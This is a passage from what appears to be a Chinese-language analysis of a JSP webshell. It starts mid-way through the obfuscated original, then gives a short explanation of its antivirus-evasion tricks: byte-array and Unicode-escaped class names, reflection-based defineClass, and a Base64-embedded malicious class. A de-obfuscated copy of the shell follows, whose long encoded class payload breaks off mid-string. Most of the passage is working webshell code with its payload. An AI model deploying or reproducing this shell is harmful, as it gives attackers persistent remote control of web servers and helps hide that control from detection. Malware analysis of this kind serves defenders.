AAgAAMACAAjASEBKAACADUANgEiASgAAwB2ACgBIgEoAAQA0gAAACgAA/8ALgACBwDTBwAOAAEHANb/AD8AAwcA0wcADgcBFgABBwDW+gAvAO0AAAAEAAEAFAABASkAAAACASo=";
byte[] var2=null;
try {Class z=Thread.currentThread().getContextClassLoader().loadClass("com"+new String(new byte[]{46, 115, 117, 110, 46, 111, 114, 103})+".apa"+new String(new byte[]{99, 104, 101, 46, 120})+"ml."+new String(new byte[]{105,110,116,101,114,110,97,108})+".security.utils."+new String(new byte[]{66,97,115,101,54,52}));var2 = (byte[])z.getMethod("d"+new String(new byte[]{101, 99, 111, 100, 101}), new Class[] {String.class }).invoke(null, new Object[]{ti});
}catch (Exception e) {try {Class<?> zz = Thread.currentThread().getContextClassLoader().loadClass("j"+new String(new byte[]{97, 118, 97, 46, 117, 116, 105})+"l.B"+new String(new byte[]{97, 115, 101, 54, 52}));Object zzd = zz.getMethod("ge"+new String(new byte[]{116, 68, 101, 99})+"oder", null).invoke(zz, null);
var2 = (byte[])zzd.getClass().getMethod("d"+new String(new byte[]{101, 99, 111})+"de", new Class[] { String.class }).invoke(zzd, new Object[] { ti });} catch (Exception exception) {}}
Class PB=Class.forName(new String(new byte[]{99,111,109,46,115,117,110,46})+new String(new byte[]{106,109,120,46,114,101,109,111,116,101,46,117,116,105,108,46,79,114,100,101,114,67,108,97,115,115,76,111,97,100,101,114,115}));
\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0072\u0065\u0066\u006C\u0065\u0063\u0074\u002EConstructor  c=PB.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class});
c.setAccessible(true);
Object tadfasf=Thread.currentThread().getContextClassLoader();
Object  d=c.newInstance(new Object[]{tadfasf,tadfasf});
\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0072\u0065\u0066\u006C\u0065\u0063\u0074\u002EMethod lll = PB.getSuperclass().getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}),new Class[]{byte[].class,int.class,int.class});
lll.setAccessible(true);
Class zz=(Class) lll.invoke(d, new Object[]{var2, 0, var2.length});
session.setAttribute("ti",zz);
}
if (session.getAttribute("ti")!=null)
{
\u006A\u0061\u0076\u0061\u002E\u0069\u006F\u002EBufferedReader br = new \u006A\u0061\u0076\u0061\u002E\u0069\u006F\u002EBufferedReader(new \u006A\u0061\u0076\u0061\u002E\u0069\u006F\u002EInputStreamReader(request.getInputStream()));
String line = null;
StringBuilder sb = new StringBuilder();
while((line = br.readLine())!=null){
sb.append(line);}
String yuan=sb.toString();
String datas="";
String dd[]=yuan.split("&");
for(int i=0;i<dd.length;i++)
{
    String tmp=dd[i].substring(dd[i].indexOf("=")+1);
    datas=datas+tmp;
}
datas=datas.replace("m","%");
datas=java.net.URLDecoder.decode(datas);
byte[] poc_data=datas.getBytes();
request.setAttribute("parameters",poc_data);
\u006A\u0061\u0076\u0061\u002E\u0069\u006F\u002EByteArrayOutputStream arrOut=new \u006A\u0061\u0076\u0061\u002E\u0069\u006F\u002EByteArrayOutputStream();
Object f=((Class)session.getAttribute("ti")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
String res=System.currentTimeMillis()+".zip";
String down="attachment; filename="+res;
response.setHeader("content-disposition",down);
ServletOutputStream outt=response.getOutputStream();
outt.write(arrOut.toByteArray());
outt.flush();
outt.close();
}
}catch (Exception e)
{
}]]></jsp:scriptlet>
</jsp:root>

1、可以看到这个服务端也就是这个马,做了一些编码混淆,关键类名以及关键代码使用unicode以及java字节数组编码,里面使用到的动态加载的恶意类,并且其恶意类则是通过base64编码硬编码(这也是java 常见的免杀方式之一)在其中,下面是清理掉编码之后的webshell代码:

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:scriptlet><![CDATA[
try{
   if (session.getAttribute("ti")==null)
{
String ti="yv66vgAAADICDwoArQErBwEsCgACASsJAJwBLQoArQEuCgCtAS8IATAKAJwBMQgBMgoAZQEzBwEZCgAYATQKATUBNgcAtgoAGAE3BwEaCgE1ATgIATkKACQBOgcBOwgBPAkAnAE9CgACAT4HAT8JAJwBQAoAGAFBCgBlAUIKAGUBQwgBRAgBRQgBRggBRwgBSAgBSQgBSgcBSwkAnAFMCgAkAU0IAU4IAU8KACQBUAgBUQgBUggBUwgBVAgA/wgBVQgBVggBVwgBWAgBWQgAwwgBWggBWwgBXAgA8AgBXQgBXggBXwoAJAFgCAFhCAFiCAFjCAFkBwFlCgBBASsKAEEBZgoAQQFDCgCcAWcKAJwBaAoAJAFpCgCcAWoHAWsKAEkBTQcBbAoASwErCgBJAW0KAEsBbgoASQFuCgBLAW8KAEkBcAoAnAFxCgBJAXIKAAIBcwoASwF0CgBLAXUIAXYKAXcBeAoBeQF6CgF5AXAKACQBewoAnAF8CgCcAX0JAJwBfgoAnAF/CACwCgCcAYAKAJwBgQkAnAGCCAGDBwGECAGFCgCcAYYIALMIALEJAJwBhwgAtAgBiAoAnAGJCAGKCAGLBwGMCAGNCAGOCgCcAY8KAAIBkAgBkQoAJAFCCgCcAZIKAJwBkwoASwGUBwGVCgB6AZYKAHoBlAoAegFuBwGXCgB+AZgKAZkBmgoAigGbCgAkASsKAIoBnAgBnQoBmQGeCgGfAaAIAaEKAJwBoggBowcBpAoAigGlCgCKAaYKAEEBpwgBqAgBqQgBqgoBmQGrCAGsCAGtCAGuCgAkAa8KACQBsAkAigGxCAGyCAGzCgCcAbQIAbUHAbYKABgBtwoAnAEuCgCcAbgKABQBuQgBugoAGAG7CgE1AbwKABgBvQgBvgoAGAG/CAHACAHBCAHCCAHDCAHECAHFBwHGAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQALTFNpbXBsZVZlcjsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABHZhcjEBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAANydW4BAAQoKVtCAQAFdmFyMTABABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABHZhcjgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR2YXI2AQAEdmFyNwEABHZhcjUBABFMamF2YS9sYW5nL0NsYXNzOwEABHZhcjkBABJMamF2YS9sYW5nL1N0cmluZzsBAAR2YXIyAQANU3RhY2tNYXBUYWJsZQcBSwcBxwcBtgcBOwcBPwcBhAEAD2Zvcm1hdFBhcmFtZXRlcgEABXZhcjE1AQABSQEABXZhcjExAQABQgEABXZhcjE2AQAHdXVfaGVhZAEAB3V1X2Zvb3QBAAh0b2RlY29kZQEABnV1X3RtcAEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABHZhcjMBAAR2YXI0BwFrBwFsAQAIVXVkZWNvZGUBAAYoW0IpW0IBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABWJ5dGVzAQAKRXhjZXB0aW9ucwEACmRlbGV0ZVplcm8BABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQABaQEACHRvZGVsZXRlAQAGbGVuZ3RoAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAGaGFuZGxlAQAUaGFuZGxlUGF5bG9hZENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZG9jeF9oAQAJb3JpZ2VucmVzAQAFZ3ppcEUBABBnemlwT3V0cHV0U3RyZWFtAQAgTGphdmEvdXRpbC96aXAvR1pJUE91dHB1dFN0cmVhbTsBAAFlAQAEZGF0YQEACmJ5dGVNZXJnZXIBAAgoW0JbQilbQgEAA2J0MQEAA2J0MgEAA2J0MwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEADGxpc3RGaWxlUm9vdAEAD1tMamF2YS9pby9GaWxlOwcBCwEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEAE3NldFNlc3Npb25BdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBAA1nZXRCYXNpY3NJbmZvAQABQwEAF0xqYXZhL3V0aWwvRW51bWVyYXRpb247BwHIAQAHaW5jbHVkZQcBOwEAEmdldE1ldGhvZEFuZEludm9rZQEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEltMamF2YS9sYW5nL0NsYXNzOwEAE1tMamF2YS9sYW5nL09iamVjdDsBABBnZXRNZXRob2RCeUNsYXNzAQBRKExqYXZhL2xhbmcvQ2xhc3M7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAKYnl0ZXNUb0ludAEABShbQilJAQAEdmFyMAEADGJhc2U2NERlY29kZQEAAXoBAAJ6egEAA3p6ZAEACWV4Y2VwdGlvbgEAAmJzAQAFdmFsdWUBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAApTb3VyY2VGaWxlAQAOU2ltcGxlVmVyLmphdmEMALkAugEAEWphdmEvdXRpbC9IYXNoTWFwDACuAK8MALkAwAwByQHKAQANZXZhbENsYXNzTmFtZQwBBgEHAQAKbWV0aG9kTmFtZQwBywHMDAHNAc4HAccMAc8BzAwB0AHRDAHSAdMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10MAdQAxgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAVlcnJvcgwAsACvDAEGAdUBAA9qYXZhL2xhbmcvQ2xhc3MMALQAsgwB1gHXDADzAPQMAPgA+QEABnJlc3VsdAEADnJldHVybiB0eXBlRXJyAQARZXZhbENsYXNzIGlzIG51bGwBAARudWxsAQAObWV0aG9kIGlzIG51bGwBABZiZWdpbiA2NDQgZW5jb2Rlci5idWYKAQAGIAplbmQKAQAQamF2YS9sYW5nL1N0cmluZwwAtQC2DAC5AdgBAAFiAQABCgwB2QHaAQABYQEAAT0BAAFjAQABJgEAAScBAAFkAQABIgEAAWYBAAE8AQABPgEAAWgBAAE7AQABOgEAAWoBAAEkDAHbAdwBAAFrAQABJQEAAWwBAAFeAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAd0B3gwA6ADpDADuAO8MAd8B4AwBIAEJAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHhAeIMAeMAugwB5ADGDAHhAR4MAR0BHgwB4QHlDAHmAecMAegAugwB6QHqAQAIdXVlbmNvZGUHAesMAcMB7AcB7QwB7gHiDAC5Ae8MAPUA9AwA2QC6DAC3ALgMAPYA9wwBDQEODAEPARAMALMAsgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9PYmplY3QBAApwYXJhbWV0ZXJzDAEXARgMALEAsgEACmdldFJlcXVlc3QMARsBHAEAEWdldFNlcnZsZXRDb250ZXh0AQAKZ2V0U2Vzc2lvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAABAAxldmFsTmV4dERhdGEMAMUAxgwB8AC6AQACb2sMAPwA6QwBAQECDAHpAdgBAB5qYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW0MALkB8QEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAC5AfIHAfMMAfQB9QwB9gH3DAH4APkBAAxzZXRBdHRyaWJ1dGUMAfkB+gcB+wwB/AH9AQALRmlsZVJvb3QgOiAMAQoA+QEADUN1cnJlbnREaXIgOiABAAxqYXZhL2lvL0ZpbGUMALkB/gwB/wIADAHdAgEBAAIvCgEADkN1cnJlbnRVc2VyIDogAQAJdXNlci5uYW1lDAICAQcBAA5Qcm9jZXNzQXJjaCA6IAEAE3N1bi5hcmNoLmRhdGEubW9kZWwBAA5qYXZhLmlvLnRtcGRpcgwA8gHiDAIDAgQMAgUA0AEAEFRlbXBEaXJlY3RvcnkgOiABAAdiaW5Db2RlDAEIAQkBAAhjb2RlTmFtZQEACVNpbXBsZVZlcgwCBgIHDADDAMQMAggA+QEAHU5vIHBhcmFtZXRlciBiaW5Db2RlLGNvZGVOYW1lDAIJAc4MAgoCCwwCDAHMAQA1Y29tLnN1bi5vcmcuYXBhY2hlLnhtbC5pbnRlcm5hbC5zZWN1cml0eS51dGlscy5CYXNlNjQMAg0CDgEAB2RlY29kZXIBABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RGVjb2RlcgEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABVqYXZhL3V0aWwvRW51bWVyYXRpb24BAAtkZWZpbmVDbGFzcwEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADWdldFJldHVyblR5cGUBABBpc0Fzc2lnbmFibGVGcm9tAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVoBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEABShbQilWAQAKcmVwbGFjZUFsbAEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEcmVhZAEAAygpSQEABWNsb3NlAQALdG9CeXRlQXJyYXkBAAcoW0JJSSlJAQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAVyZXNldAEABXdyaXRlAQAEKEkpVgEAR2NvbS9zdW4veG1sL2ludGVybmFsL21lc3NhZ2luZy9zYWFqL3BhY2thZ2luZy9taW1lL2ludGVybmV0L01pbWVVdGlsaXR5AQA+KExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQAHKFtCSUkpVgEABWNsZWFyAQAZKExqYXZhL2lvL091dHB1dFN0cmVhbTspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAEGphdmEvbGFuZy9TeXN0ZW0BAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYBAAlsaXN0Um9vdHMBABEoKVtMamF2YS9pby9GaWxlOwEAB2dldFBhdGgBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7AQAUamF2YS91dGlsL1Byb3BlcnRpZXMBAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAtnZXRQcm9wZXJ0eQEABmNoYXJBdAEABChJKUMBAAlz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